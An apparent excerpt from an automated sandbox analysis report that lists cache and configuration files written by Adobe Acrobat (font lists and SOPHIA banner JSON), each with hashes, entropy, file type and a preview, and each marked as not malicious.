SHA-512:	E1DF2D986D2B4BBD5C8857C9DB20165532B08C1610C077F63760F84C723127E4EBBB99DD28D97AAF98CB457903E3FCACE508D70E65306BA105AD5EE40FBD9520
Malicious:	false
Preview:	p...... .........i.@Xf..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367653402623785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJM3g98kUwPeUkwRe9:YvXKX1v3lZc0vbnGMbLUkee9
MD5:	618F44E8B5A63099719839CB551798A9
SHA1:	DFB342A7F7BD2E4618588737229DC0E0F4EA15A9
SHA-256:	1EBC020ADC0CAE29807471CE3615BDB839E0F2F9C34436B986080699A5CFC1CC
SHA-512:	92255B8D628E053FD0918B1C4590B56CB188EF91F9C6F669BE2C347E023B243BE3767E9A7E520F2766F5EACC50011500B7B31405803C3B600FE8B459576C96AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31952624941684
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfBoTfXpnrPeUkwRe9:YvXKX1v3lZc0vbnGWTfXcUkee9
MD5:	4E4D88C033EC69E35F097D65DD9CF15F
SHA1:	7B930CE0A79E938667A5122245457D5B0B630DB6
SHA-256:	C5C5D624180137B9571EEE998EA8ACED8CE86C940EA9FBB2E978340914804D60
SHA-512:	4A3704BE7248FB4631DE56426B6D98B43F4E42229F77467120F5AAD54F010D88557D41C05CF4719ADF15F93F5793E69088CAFAF96E381C2E274BBED340FF3E3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297069447635462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfBD2G6UpnrPeUkwRe9:YvXKX1v3lZc0vbnGR22cUkee9
MD5:	EC3B820700B5355FA238908932C40254
SHA1:	CC75973219D09A6E8E4AA858E8087DB19ADD1D2E
SHA-256:	1372ADF3BC22DC27417CA53EB7F10979BB4578322CFDABDCA16CF0D604A71EA1
SHA-512:	5F30C4EB543F9721FA4ED862D3028EBC888E97C6BF351271F36A8246F994B7C346AEC4320F7F3BACCE3DF8ADD3B679694B9DFF9787E53B4E02E849DDEE70BBA9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354814435706896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfPmwrPeUkwRe9:YvXKX1v3lZc0vbnGH56Ukee9
MD5:	BC04171FEE6D765265952D290983C1F4
SHA1:	04CE7139CD37A623B62643594FE5192CDD74F293
SHA-256:	4A1B2BA553D229837EF1ABB170C94AC1B2147A5D05F9FF6CC2002D81C3243E96
SHA-512:	30A152C01C5A38770FA83C69018AA2A99F6E87F05C3E9C05457CDA6D4D98D871BEED1820211B0E561B1174AC40BCEB1A007A867E50DAA956FFD4E6115289C3F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69458145566172
Encrypted:	false
SSDEEP:	24:Yv6XDzvbspLgE9cQx8LennAvzBvkn0RCmK8czOCCSs:Yvwohgy6SAFv5Ah8cv/s
MD5:	33185DB4571C3E3776CE447CCFCC84A8
SHA1:	7EF8491E9C12DAD049751DC98E0538FD5BAA157E
SHA-256:	D7A42CBC7BFFCB9907E862EA717B546D9EC957C56190B690CE97179E9DF4E47B
SHA-512:	3C43D9DF3ABA591F1C5561DF470F6A10044583998A40A7D948F4C5B540797A45565036B61BB9EDD11FC550A7FE52859D9948E2B247FD177E31A9CB89EC09B28A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301117169105301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJf8dPeUkwRe9:YvXKX1v3lZc0vbnGU8Ukee9
MD5:	9F0F5DB1467B4C685515C9857289333C
SHA1:	AA836C49C5344D6943B668280A0036A50A83E1C2
SHA-256:	EBE58823A2197B1F3597BF11E2BAE2C53E7D16638D7C65E06A187C4F8F5E3769
SHA-512:	E2C14554B3D3CCE569C3ADF61B910EB5B935D9C8CA6BA7834C45BE243BE781A2FAE90DC1BE62C37543F3CFB6418E4744F81502A66CBDFCA2A406682F2D93D507
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305606123741683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfQ1rPeUkwRe9:YvXKX1v3lZc0vbnGY16Ukee9
MD5:	8FF656858DEB74E21156631C1263861E
SHA1:	E2A0C7D98FEDDFDC343CE91129F038307F159EB8
SHA-256:	1AD80F08A01241F21E495D1A969070C12C1F26A8A498101B607A0B8245735715
SHA-512:	D8FDB339415475311B293436D8DD79827DEC15EB8855BDE8CEAC722F8975057048E8E92D7452903748D676C5A3BCAF7650FFFAB7209B79056BE845B8E2BDD88B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310038801354133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfFldPeUkwRe9:YvXKX1v3lZc0vbnGz8Ukee9
MD5:	570C7C5E5ADCFCC5BE81DD2D8963D520
SHA1:	2494E8C09B86AAD29BB1B3BFEFA7D817743D629E
SHA-256:	CB756C28639D1E26EA5BC4732754F7D9CC080F1B1B636AECD16D06D101141377
SHA-512:	862F7135DB355FB82E406873D0B81A302EE356B90AAF0EA1C6344FDAB2BB18DDB57670FF0691E4F8E966E066D8D41B85B09C7967EE28C507926E3A8711E0B52D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327652490556734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfzdPeUkwRe9:YvXKX1v3lZc0vbnGb8Ukee9
MD5:	387D8C572B56799C25EB7A6B98305CA6
SHA1:	9549FDD2639510C089FA3B35082AFD6400984C24
SHA-256:	70AA46C9FB7D6D597613615B19CB9BB2347CE4BE828E57995F01B26290FED712
SHA-512:	FDF1EB0D8E94495A598D18AF109487836A9D568FCFB546ED30F2D0E443276CA324671C7BCB771B8E03DF304881A184399B6A367FE4A9499D8CE27935DF5A3D3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308468320589345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfYdPeUkwRe9:YvXKX1v3lZc0vbnGg8Ukee9
MD5:	772FA6AEC351DEA81E5CE15C6F1AD8CD
SHA1:	A3A96EB7DE221A1A0913A7AFEC91639F11E23224
SHA-256:	FA1A34E08BCE88E08FABB031ABA2A7246D2AFBF5B8FBF9A330DC5375C7ABD921
SHA-512:	AA66EC61B7343A198724A69223ACC579082F2A4691AAC7A7514E6F2ECEBE15B235A39C4A95727C9A62E4257F21A8BABE6B7604B5C98A457D2DC9003850B9C63D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294350082030399
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJf+dPeUkwRe9:YvXKX1v3lZc0vbnG28Ukee9
MD5:	10D006F844C11F231682616E0977AAC8
SHA1:	22E2DE70EF18EE3574F44DBE074B5135A278BFD7
SHA-256:	B4B342600466503191CFDDF75E9D2A75C59A6D558E97EE0864EB03F52695B0D3
SHA-512:	4A6C193F0E4D24AE05679871A0B165ED65BA7856CE1D63CB269B603101671427D358F7ACD6D29630CD0E2CB1A039AE00B50E29F0876B7561C9744673118CFEE2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2919572167471305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJfbPtdPeUkwRe9:YvXKX1v3lZc0vbnGDV8Ukee9
MD5:	EA0F0375AD5DB480CE43B30B0984A3ED
SHA1:	D0CF17698F76D8B00E00FBEE6C6D68053F895A24
SHA-256:	EF6070AE1A3091B1EC95A05BFBB63AF492F8FCA56EBA8BD558DB2ABE472A5797
SHA-512:	C837738C9F9F88360EE713B175AE65046B803F64D88F1BFEF33FAC760E892D4AA5280E15D0EEB30F5C4E2F29655525B9B283F0AB7C78DBBC8B3410BDE3C3DA3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296725883586467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUmv/SBEdENuqYkVoZcg1vRcR0YUJKoAvJf21rPeUkwRe9:YvXKX1v3lZc0vbnG+16Ukee9
MD5:	FF45FDC158C554496E757DD2D573EB2D
SHA1:	43D7C1BE83E7165DB23C1410879EDEBE0E950D2C
SHA-256:	1438E83CBDCAABEE94F75BE015544B98186E268330CA23376543B99220944B22
SHA-512:	A774F603E0AC80B62B4BCCDC659F564E11402FC1F39E4A154CAACE4761662901E31080AEA221BA3D06618D1A5E2F536B087DB295D73E61275D9664B0AB2092D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"41c862ca-7882-4c7d-8d73-803af412d768","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737015564791,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671320322982009
Encrypted:	false
SSDEEP:	24:Yv6XDzvbYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:Yvw6BgkDMUJUAh8cvMs
MD5:	123B4211E3088AF5656DB575D567381D
SHA1:	2825EA2FB37BCB8095FB473A5905843AD1C7F96A
SHA-256:	D28925227CE2A13A3CC0AF284F4BACCA60231A62F6913B8DBF9626A3F7236AD0
SHA-512:	34733577A6FD314247191ED800294FB93A89DBB560267B60D823CC3A4F9363FDC22EED99073C195991E11B5BFE97582CB94DDF230932C7472BDDF05C36594311
Malicious:	false
